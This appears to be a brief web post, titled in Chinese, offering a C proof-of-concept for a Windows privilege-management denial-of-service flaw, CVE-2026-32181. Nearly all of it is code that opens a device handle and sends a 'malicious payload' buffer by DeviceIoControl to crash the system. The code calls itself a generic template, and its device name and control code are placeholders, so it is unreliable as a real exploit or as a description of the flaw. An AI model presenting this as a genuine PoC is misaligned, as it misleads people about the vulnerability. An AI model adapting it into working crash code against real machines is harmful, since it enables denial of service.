CVE-2026-32181 Windows权限管理不当导致本地拒绝服务

#include <windows.h> #include <stdio.h> // Proof of Concept for CVE-2026-32181 // This code demonstrates a local trigger for the privilege management vulnerability. // Note: This is a generic template for educational purposes. int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[1024]; printf("Attempting to trigger CVE-2026-32181...\n"); // Simulate interaction with a vulnerable component // Exploiting improper privilege management to cause a crash memset(buffer, 'A', sizeof(buffer)); // In a real scenario, this would target a specific vulnerable API or driver // Here we simulate the logic that leads to DoS hDevice = CreateFileA("\\\\.\\VulnerableWindowsComponent", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open handle. Ensure you are running as a low-privileged user.\n"); return 1; } // Send malicious payload DeviceIoControl(hDevice, 0x80002000, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL); printf("Payload sent. If successful, the system should crash due to DoS.\n"); CloseHandle(hDevice); return 0; }